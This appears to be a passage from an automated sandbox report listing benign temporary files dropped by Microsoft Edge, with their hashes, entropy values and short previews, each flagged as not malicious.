C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Crashpad\throttle_store.dat

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	20
Entropy (8bit):	3.6219280948873624
Encrypted:	false
SSDEEP:	3:8g6Vvn:8g6Vv
MD5:	9E4E94633B73F4A7680240A0FFD6CD2C
SHA1:	E68E02453CE22736169A56FDB59043D33668368F
SHA-256:	41C91A9C93D76295746A149DCE7EBB3B9EE2CB551D84365FFF108E59A61CC304
SHA-512:	193011A756B2368956C71A9A3AE8BC9537D99F52218F124B2E64545EEB5227861D372639052B74D0DD956CB33CA72A9107E069F1EF332B9645044849D14AF337
Malicious:	false
Preview:	level=none expiry=0.

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\9e248cf3-b822-439f-b13c-2baf35ee113e.tmp

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\Cache\Cache_Data\data_0

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	dBase III DBT, next free block index 3238316739, block length 1024
Category:	dropped
Size (bytes):	45056
Entropy (8bit):	0.028917258126807864
Encrypted:	false
SSDEEP:	3:MsFl9tlGallBI+zI+tUkellLztq11VELE7+qil1ls+:/F3XGuU+zI+CkezztfEKqiNs+
MD5:	1AEC7D9C600999C242AA89195E3937E3
SHA1:	E98D1DCAB7B2731197D5E4FFC9C763E49B368A72
SHA-256:	53F1BDE4338C806E9ABCEFB03F3DC031895B5996CB175CEBA9B65E93B714AE5E
SHA-512:	E914318F4AC4CF52F0ED731FB5A7D1EC4BE66EB9EE75F293B9DFFD724A34AEAF23410DCCE6AA4234A842169F3DBA699F0F1057FB7823F96E5DEA6E2B9BE571CD
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\Cache\Cache_Data\data_1

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.04387502861649165
Encrypted:	false
SSDEEP:	12:U/MmXXkZpLpg6L09RjTwYklHMpLpg6LASrJqknMtojpykcdCIRrYfhbtZPC93OHe:Jmn40ol0A2qknIoFkd/Rc1PCQHjTpM
MD5:	9BC35C73BFDB26E0492B4E31BBE3CA9C
SHA1:	3C9AF6F08FB42E82254572FF3E40A18CD0169FBD
SHA-256:	9823357920632A079375AFB13AB721B86211DEB2737B63E020E352F47F21DF0A
SHA-512:	55FDF6AC03FAAC65B89E81E7E215FD5D26FCC1C3D84D508155A8A216D32B572CBA057FCEA48B377AB805A0D2B0273C54B07DC127D462253889CE4BBCB29C5C60
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\Cache\Cache_Data\data_2

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\Cache\Cache_Data\data_3

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\Cache\Cache_Data\index

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	524656
Entropy (8bit):	5.027445846313988E-4
Encrypted:	false
SSDEEP:	3:Lsulde4/:LsS
MD5:	EDB40A4CAA4146589E06150F76731C36
SHA1:	8C132652FD3B59755E80786FD5373011360DD0A6
SHA-256:	CB2D67B22B78A6804F5A8598935F51364CFC06F8B54A9D57CE083F6788A493E1
SHA-512:	C6754973A2400B87760FC2EDABCC69FC05864ABD990C109E7B84BB9C6340F16DA51E5376CBD38888CEADCD81A7A640C02B3C4670E00EC5B1B23415B2EF624BB3
Malicious:	false
Preview:	.........................................G..%./.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\Code Cache\js\index

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\Code Cache\js\index-dir\temp-index

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	48
Entropy (8bit):	2.9972243200613975
Encrypted:	false
SSDEEP:	3:cVC0ExvKln:cVqxW
MD5:	50F1FD3562564C7B819B240070EF0073
SHA1:	0FED21682516F8F96A510102EB3EE27D90AD9534
SHA-256:	316046051820FE3A2C3D799D12AAB071946145B22EF4A8E583631EA69BFE55B4
SHA-512:	E75BDF6161B36F6FFC34D503B3D2B06B38099504475C35456A1CA10C3B1BB72B6A7FDDA76B49D163D208A6A39E77F6334A1C3E055B494429E0FF6976C27043D4
Malicious:	false
Preview:	(...A5.[oy retne........................mk..%./.

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\Code Cache\js\index-dir\the-real-index (copy)

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	48
Entropy (8bit):	2.9972243200613975
Encrypted:	false
SSDEEP:	3:cVC0ExvKln:cVqxW
MD5:	50F1FD3562564C7B819B240070EF0073
SHA1:	0FED21682516F8F96A510102EB3EE27D90AD9534
SHA-256:	316046051820FE3A2C3D799D12AAB071946145B22EF4A8E583631EA69BFE55B4
SHA-512:	E75BDF6161B36F6FFC34D503B3D2B06B38099504475C35456A1CA10C3B1BB72B6A7FDDA76B49D163D208A6A39E77F6334A1C3E055B494429E0FF6976C27043D4
Malicious:	false
Preview:	(...A5.[oy retne........................mk..%./.

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\Code Cache\wasm\index

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\Code Cache\wasm\index-dir\temp-index

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	48
Entropy (8bit):	2.9972243200613975
Encrypted:	false
SSDEEP:	3:ZI+4E19b:2U15
MD5:	DCD0811C5041D686CF27FAE2CCE56FD2
SHA1:	7B3FC0E5E8C591D179F0DAB6F03DCDC3989F568F
SHA-256:	488AC6D680F99880192FFC5A21739F5B32DBF5B8B86DECC78696785283A59D92
SHA-512:	61B7DD97A6B6620DF299660285FE0D0CAAFF4C7A40B67D8E3A9F0E3B22B267579AC29C8D64952759BF5D1692B671752E086E777F0AFBF5A5228ECC017C0C4BA5
Malicious:	false
Preview:	(....m.Goy retne.........................k..%./.

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\Code Cache\wasm\index-dir\the-real-index (copy)

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	48
Entropy (8bit):	2.9972243200613975
Encrypted:	false
SSDEEP:	3:ZI+4E19b:2U15
MD5:	DCD0811C5041D686CF27FAE2CCE56FD2
SHA1:	7B3FC0E5E8C591D179F0DAB6F03DCDC3989F568F
SHA-256:	488AC6D680F99880192FFC5A21739F5B32DBF5B8B86DECC78696785283A59D92
SHA-512:	61B7DD97A6B6620DF299660285FE0D0CAAFF4C7A40B67D8E3A9F0E3B22B267579AC29C8D64952759BF5D1692B671752E086E777F0AFBF5A5228ECC017C0C4BA5
Malicious:	false
Preview:	(....m.Goy retne.........................k..%./.

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\DawnCache\data_0

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\DawnCache\data_1

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	8.280239615765425E-4
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2:/M/xT02
MD5:	D0D388F3865D0523E451D6BA0BE34CC4
SHA1:	8571C6A52AACC2747C048E3419E5657B74612995
SHA-256:	902F30C1FB0597D0734BC34B979EC5D131F8F39A4B71B338083821216EC8D61B
SHA-512:	376011D00DE659EB6082A74E862CFAC97A9BB508E0B740761505142E2D24EC1C30AA61EFBC1C0DD08FF0F34734444DE7F77DD90A6CA42B48A4C7FAD5F0BDDD17
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\DawnCache\data_2

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\DawnCache\data_3

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\DawnCache\index

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	262512
Entropy (8bit):	9.553120663130604E-4
Encrypted:	false
SSDEEP:	3:LsNlu5A4:Ls3u
MD5:	F916277B3776162B023098302419B326
SHA1:	A931D162E90A746339F86550C9ED0E6F0DC48AED
SHA-256:	C627C9F439D0D61E84E194CA34B79CFF4E14DAC1BE0DB43B154FED655F4C01A6
SHA-512:	6E54791349B5475BC2BA340CEA6FADC2943883D41FE0A367B753CD1A641632965D9FB5F169A5E5EF9C38474A5F8D50F964A5CAF5F294683E1F4365E7FB613A53
Malicious:	false
Preview:	............................................%./.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\EdgeCoupons\coupons_data.db\000001.dbtmp

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\EdgeCoupons\coupons_data.db\000003.log

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\EdgeCoupons\coupons_data.db\CURRENT (copy)

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\EdgeCoupons\coupons_data.db\LOG

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.285483715501516
Encrypted:	false
SSDEEP:	6:7PWShF+q1N723fQmmG2tbB2KLlpPWSzxq2PN723fQmmG2tMsIFUv:7xhF+aak9VFLTxzxvVak9GFUv
MD5:	74728D85E4CD87EB26AC24E7EBF68BEE
SHA1:	2CBE2F3EC45BF079BCED4AF53B17DCB419E9D602
SHA-256:	4A3DBFDA6A68DCF4038E5FABAC9D38879A60D035A3A1841738A23AE3A3AC8E2C
SHA-512:	8C4A735A3D9D60FB92B467EA1066FBF4EA9936EAA3B7CAE8A4BDA8E04B255F1F8F6B80613D0624FA3D69C9354D4B23B104D36CB45582239718DCE1E58F733999
Malicious:	false
Preview:	2024/12/18-13:28:23.242 17f0 Creating DB C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\EdgeCoupons/coupons_data.db since it was missing..2024/12/18-13:28:23.524 17f0 Reusing MANIFEST C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\EdgeCoupons\coupons_data.db\MANIFEST-000001

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\Extension Rules\000001.dbtmp

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\Extension Rules\000003.log

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	171
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	3:FQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlX:qTCTCTCTCTCTCTCTCT
MD5:	E952942B492DB39A75DD2669B98EBE74
SHA1:	F6C4DEF325DCA0DFEC01759D7D8610837A370176
SHA-256:	14F92B911F9FE774720461EEC5BB4761AE6BFC9445C67E30BF624A8694B4B1DA
SHA-512:	9193E7BBE7EB633367B39513B48EFED11FD457DCED070A8708F8572D0AB248CBFF37254599A6BFB469637E0DCCBCD986347C6B6075C06FAE2AF08387B560DEA0
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\Extension Rules\CURRENT (copy)

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\Extension Rules\LOG

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	271
Entropy (8bit):	5.217701877552043
Encrypted:	false
SSDEEP:	6:7PWSzhRM1N723fQm3aVdg2KLlpPWSVyq2PN723fQm3aPrqIFUv:7xDsabLTxYvVaE3FUv
MD5:	F80FB8590719D619D3498C2A57B86208
SHA1:	C55FDC78254FFE994CD9D6CEF0E97869744191C0
SHA-256:	4354BE36CD8556C8E559134411DB47894A61785438CD69E053DB0B532F5BB08F
SHA-512:	DC09D8E72C4BD5623DDF4776491697C4EE250670B7103B09FBC6D566BA2695B62E4F4CAD4074CAB66AD186A37488CB894FE3EA958EDBD4798098B0A2AADD1A79
Malicious:	false
Preview:	2024/12/18-13:28:23.219 17e4 Creating DB C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\Extension Rules since it was missing..2024/12/18-13:28:23.498 17e4 Reusing MANIFEST C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\Extension Rules/MANIFEST-000001.

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\Extension Rules\MANIFEST-000001

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\Extension Scripts\000001.dbtmp

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\Extension Scripts\000003.log

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	171
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	3:FQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlX:qTCTCTCTCTCTCTCTCT
MD5:	E952942B492DB39A75DD2669B98EBE74
SHA1:	F6C4DEF325DCA0DFEC01759D7D8610837A370176
SHA-256:	14F92B911F9FE774720461EEC5BB4761AE6BFC9445C67E30BF624A8694B4B1DA
SHA-512:	9193E7BBE7EB633367B39513B48EFED11FD457DCED070A8708F8572D0AB248CBFF37254599A6BFB469637E0DCCBCD986347C6B6075C06FAE2AF08387B560DEA0
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\Extension Scripts\CURRENT (copy)

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\Extension Scripts\LOG

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	275
Entropy (8bit):	5.2029560677452285
Encrypted:	false
SSDEEP:	6:7PWSt+RM1N723fQm36FB2KLlpPWSEgyq2PN723fQm365IFUv:7xtusaUFFLTxmvVaUWFUv
MD5:	38349167461667C196030ECE6401CEC9
SHA1:	35BF3F9BCE6E3217939A3F26F2D61B8FBC1C26F9
SHA-256:	D7BFD5DDDA180C238A01A5282AE7E3EA18D550E9654E1FE94D68AA94F0F05FFF
SHA-512:	931F68D606BE8A91BBDB581BC8B1372FD71E27750CDF6D901F35D82B837359E1BA36716907F72421FA0AD5D3E31A08D20A37F938822713362E0C229F9BCCB7FC
Malicious:	false
Preview:	2024/12/18-13:28:23.647 17e4 Creating DB C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\Extension Scripts since it was missing..2024/12/18-13:28:23.746 17e4 Reusing MANIFEST C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\Extension Scripts/MANIFEST-000001.

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\Extension Scripts\MANIFEST-000001

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\Favicons

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 10, cookie 0x8, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6975083372685086
Encrypted:	false
SSDEEP:	24:LLiZxh0GY/l1rWR1PmCx9fZjsBX+T6UwcE85fBmI:EBmw6fU1zBmI
MD5:	F5BBD8449A9C3AB28AC2DE45E9059B01
